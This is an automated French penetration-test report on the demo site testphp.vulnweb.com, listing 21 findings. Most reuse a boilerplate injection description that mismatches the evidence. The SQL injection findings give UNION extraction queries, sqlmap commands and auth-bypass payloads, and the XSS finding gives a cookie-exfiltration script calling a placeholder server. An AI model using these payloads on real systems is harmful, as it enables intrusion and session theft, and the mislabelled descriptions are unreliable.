RAPPORT PENTEST — INJECTION

OWASP Top 10 A05:2025 — Assistant d'exploitation

Cible: http://testphp.vulnweb.com/

Projet: InjectionHunter Pentest

Mode: aggressive

Date: 2026-02-09T00:38:03

Rapport d'assistant de pentest : pour chaque vulnérabilité sont fournis une description technique, un guide d'exploitation (étapes, commandes, outils) et la preuve du scan. Utilisation strictement en contexte autorisé.

1. Synthèse

Synthèse	
Nombre total de findings	21
Sévérité maximale	CRITICAL
CRITICAL	2
HIGH	4
MEDIUM	7
LOW	2
INFO	6

2. Vulnérabilités — Description, exploitation et preuve

2.1 — A05_admin (2 finding(s))

Finding 1: ADMIN: http://testphp.vulnweb.com/admin/

LOW

CWE: INFO

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Page admin accessible
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 2: ADMIN: http://testphp.vulnweb.com/login.php

LOW

CWE: INFO

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Page admin accessible
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

2.2 — A05_asvs_violation (10 finding(s))

Finding 1: ASVS_VIOLATION: (cible)

MEDIUM

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Missing security header: X-Frame-Options
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 2: ASVS_VIOLATION: (cible)

MEDIUM

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Missing security header: X-XSS-Protection
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 3: ASVS_VIOLATION: (cible)

MEDIUM

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Missing security header: X-Content-Type-Options
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 4: ASVS_VIOLATION: (cible)

MEDIUM

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Missing security header: Strict-Transport-Security
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 5: ASVS_VIOLATION: (cible)

MEDIUM

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Missing security header: Content-Security-Policy
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 6: ASVS_VIOLATION: (cible)

MEDIUM

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Missing security header: Referrer-Policy
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 7: ASVS_VIOLATION: (cible)

HIGH

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).

Preuve (requête / réponse):
```
Evidence: Application not using HTTPS
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 8: ASVS_VIOLATION: (cible)

HIGH

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).

Preuve (requête / réponse):
```
Evidence: Unprotected admin endpoint: /admin
URL: http://testphp.vulnweb.com/admin
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 9: ASVS_VIOLATION: (cible)

HIGH

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Unprotected admin endpoint: /admin/
URL: http://testphp.vulnweb.com/admin/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 10: ASVS_VIOLATION: (cible)

HIGH

CWE: CWE-20

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: PII data exposed: \b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b
URL: http://testphp.vulnweb.com/
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

2.3 — A05_backup_file_exposed (2 finding(s))

Finding 1: BACKUP_FILE_EXPOSED: (cible)

INFO

CWE: CWE-74

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Backup file exposed: .bak
URL: http://testphp.vulnweb.com/index.bak
CWE: CWE-74
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 2: BACKUP_FILE_EXPOSED: (cible)

INFO

CWE: CWE-74

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Backup file exposed: .zip
URL: http://testphp.vulnweb.com/index.zip
CWE: CWE-74
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

2.4 — A05_directory_listing (2 finding(s))

Finding 1: DIRECTORY_LISTING: (cible)

INFO

CWE: CWE-74

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Directory listing enabled: /images/
URL: http://testphp.vulnweb.com/images/
CWE: CWE-74
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

Finding 2: DIRECTORY_LISTING: (cible)

INFO

CWE: CWE-74

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Directory listing enabled: /admin/
URL: http://testphp.vulnweb.com/admin/
CWE: CWE-74
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

2.5 — A05_form (1 finding(s))

Finding 1: FORM: (cible)

INFO

CWE: CWE-20

Description (vulnérabilité):
Formulaire identifié sans token CSRF ou avec des champs sensibles exposés. Utile pour préparer des tests CSRF, brute-force ou injection sur les champs découverts.

Comment exploiter:
```
1) Reproduire le formulaire dans Burp (Repeater / Intruder).
2) Tester CSRF : créer une page HTML qui soumet le formulaire vers la cible ; ouvrir en tant que victime.
3) Tester les champs pour injection (SQLi, XSS) et brute-force (login) si applicable.
```

Preuve (requête / réponse):
```
CWE: CWE-20
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

2.6 — A05_missing_security_headers (1 finding(s))

Finding 1: MISSING_SECURITY_HEADERS: (cible)

INFO

CWE: CWE-74

Description (vulnérabilité):
Vulnérabilité d'injection détectée : l'entrée utilisateur influence le comportement du système de manière non sécurisée.

Comment exploiter:
```
Reproduire la requête dans Burp (URL/paramètres ci-dessous). Adapter les payloads selon le contexte et la stack technique (voir CWE et documentation OWASP).
```

Preuve (requête / réponse):
```
Evidence: Missing 8 security headers
URL: http://testphp.vulnweb.com/
CWE: CWE-74
```

Remédiation (pour le client):
Valider strictement les entrées, encoder/échapper selon le contexte, et appliquer des contrôles côté serveur.

2.7 — A05_sqli (2 finding(s))

Finding 1: SQLI: searchFor

CRITICAL

CWE: CWE-89

Description (vulnérabilité):
L'application concatène l'entrée utilisateur directement dans une requête SQL sans préparation ni échappement. Le serveur exécute donc du SQL injecté, ce qui permet de modifier la requête (WHERE, UNION, sous-requêtes), d'extraire des données, de contourner l'authentification ou d'écrire des fichiers selon les droits DB.

Comment exploiter:
```
1) Vérifier le type (erreur / booléen / time / union). Exemple erreur : remplacer la valeur par une quote pour confirmer la sortie d'erreur SQL.
2) Énumérer les colonnes : ORDER BY 1, 2, ... jusqu'à erreur ; ou UNION SELECT NULL,NULL,...
3) Extraire les données : UNION SELECT table_name FROM information_schema.tables (MySQL) ; adapter pour PostgreSQL/Oracle. Puis UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' ; puis UNION SELECT concat(user,0x3a,password) FROM users.
4) Outils : sqlmap -u "http://testphp.vulnweb.com/?searchFor=%27" -p searchFor --batch (ou --risk=3 --level=5). Pour blind : --technique=T.
5) Contournement auth : payload du type ' OR '1'='1 ou ' UNION SELECT 1,'admin','hash'-- selon la requête.
```

Preuve (requête / réponse):
```
Evidence: Différence de contenu/statut après injection
Payload: '
URL: http://testphp.vulnweb.com/?searchFor=%27
CWE: CWE-89
```

Remédiation (pour le client):
Utiliser des requêtes paramétrées (prepared statements) / ORM, valider côté serveur, et interdire la concaténation SQL.

Finding 2: SQLI: goButton

CRITICAL

CWE: CWE-89

Description (vulnérabilité):
L'application concatène l'entrée utilisateur directement dans une requête SQL sans préparation ni échappement. Le serveur exécute donc du SQL injecté, ce qui permet de modifier la requête (WHERE, UNION, sous-requêtes), d'extraire des données, de contourner l'authentification ou d'écrire des fichiers selon les droits DB.

Comment exploiter:
```
1) Vérifier le type (erreur / booléen / time / union). Exemple erreur : remplacer la
valeur par une quote pour confirmer la sortie d'erreur SQL.
2) Énumérer les colonnes : ORDER BY 1, 2, ... jusqu'à erreur ; ou UNION SELECT
NULL,NULL,...
3) Extraire les données : UNION SELECT table_name FROM information_schema.tables (MySQL) ;
adapter pour PostgreSQL/Oracle. Puis UNION SELECT column_name FROM
information_schema.columns WHERE table_name='users' ; puis UNION SELECT
concat(user,0x3a,password) FROM users.
4) Outils : sqlmap -u "http://testphp.vulnweb.com/?goButton=1%22" -p goButton --batch (ou
--risk=3 --level=5). Pour blind : --technique=T.
5) Contournement auth : payload du type ' OR '1'='1 ou ' UNION SELECT 1,'admin','hash'--
selon la requête.
```

Preuve (requête / réponse):
```
Evidence: Différence de contenu/statut après injection
Payload: 1"
URL: http://testphp.vulnweb.com/?goButton=1%22
CWE: CWE-89
```

Remédiation (pour le client):
Utiliser des requêtes paramétrées (prepared statements) / ORM, valider côté serveur, et interdire la concaténation SQL.

2.8 — A05_xss (1 finding(s))

Finding 1: XSS: searchFor

MEDIUM

CWE: CWE-79

Description (vulnérabilité):
L'application réfléchit ou stocke des données utilisateur dans la page sans les échapper dans le contexte HTML/JS. Un attaquant peut injecter du JavaScript qui s'exécute dans le navigateur de la victime (vol de cookie/session, keylogger, redirection, actions au nom de l'utilisateur).

Comment exploiter:
```
1) Confirmer le reflet : le payload doit apparaître dans la réponse (GET/POST). Vérifier le contexte (HTML, attribut, JavaScript) pour adapter le payload (fermeture de tag, event handler, etc.).
2) Vol de session : injecter <script>fetch('https://VOTRE_SERVEUR/?c='+document.cookie)</script> et récupérer les cookies sur votre serveur (ngrok, VPS).
3) Keylogger / phishing : exfiltrer les frappes ou le contenu du DOM vers votre endpoint.
4) Outils : BeEF, XSS Hunter ; manuellement avec Burp Repeater en modifiant le paramètre searchFor.
```

Preuve (requête / réponse):
```
Evidence: XSS reflete (POST) - payload present dans la reponse
Payload: <script>alert(1)</script>
URL: http://testphp.vulnweb.com/search.php?test=query
CWE: CWE-79
```

Remédiation (pour le client):
Échapper les sorties selon le contexte (HTML/JS/URL), activer CSP, et éviter l'injection de HTML non fiable.

— Fin du rapport —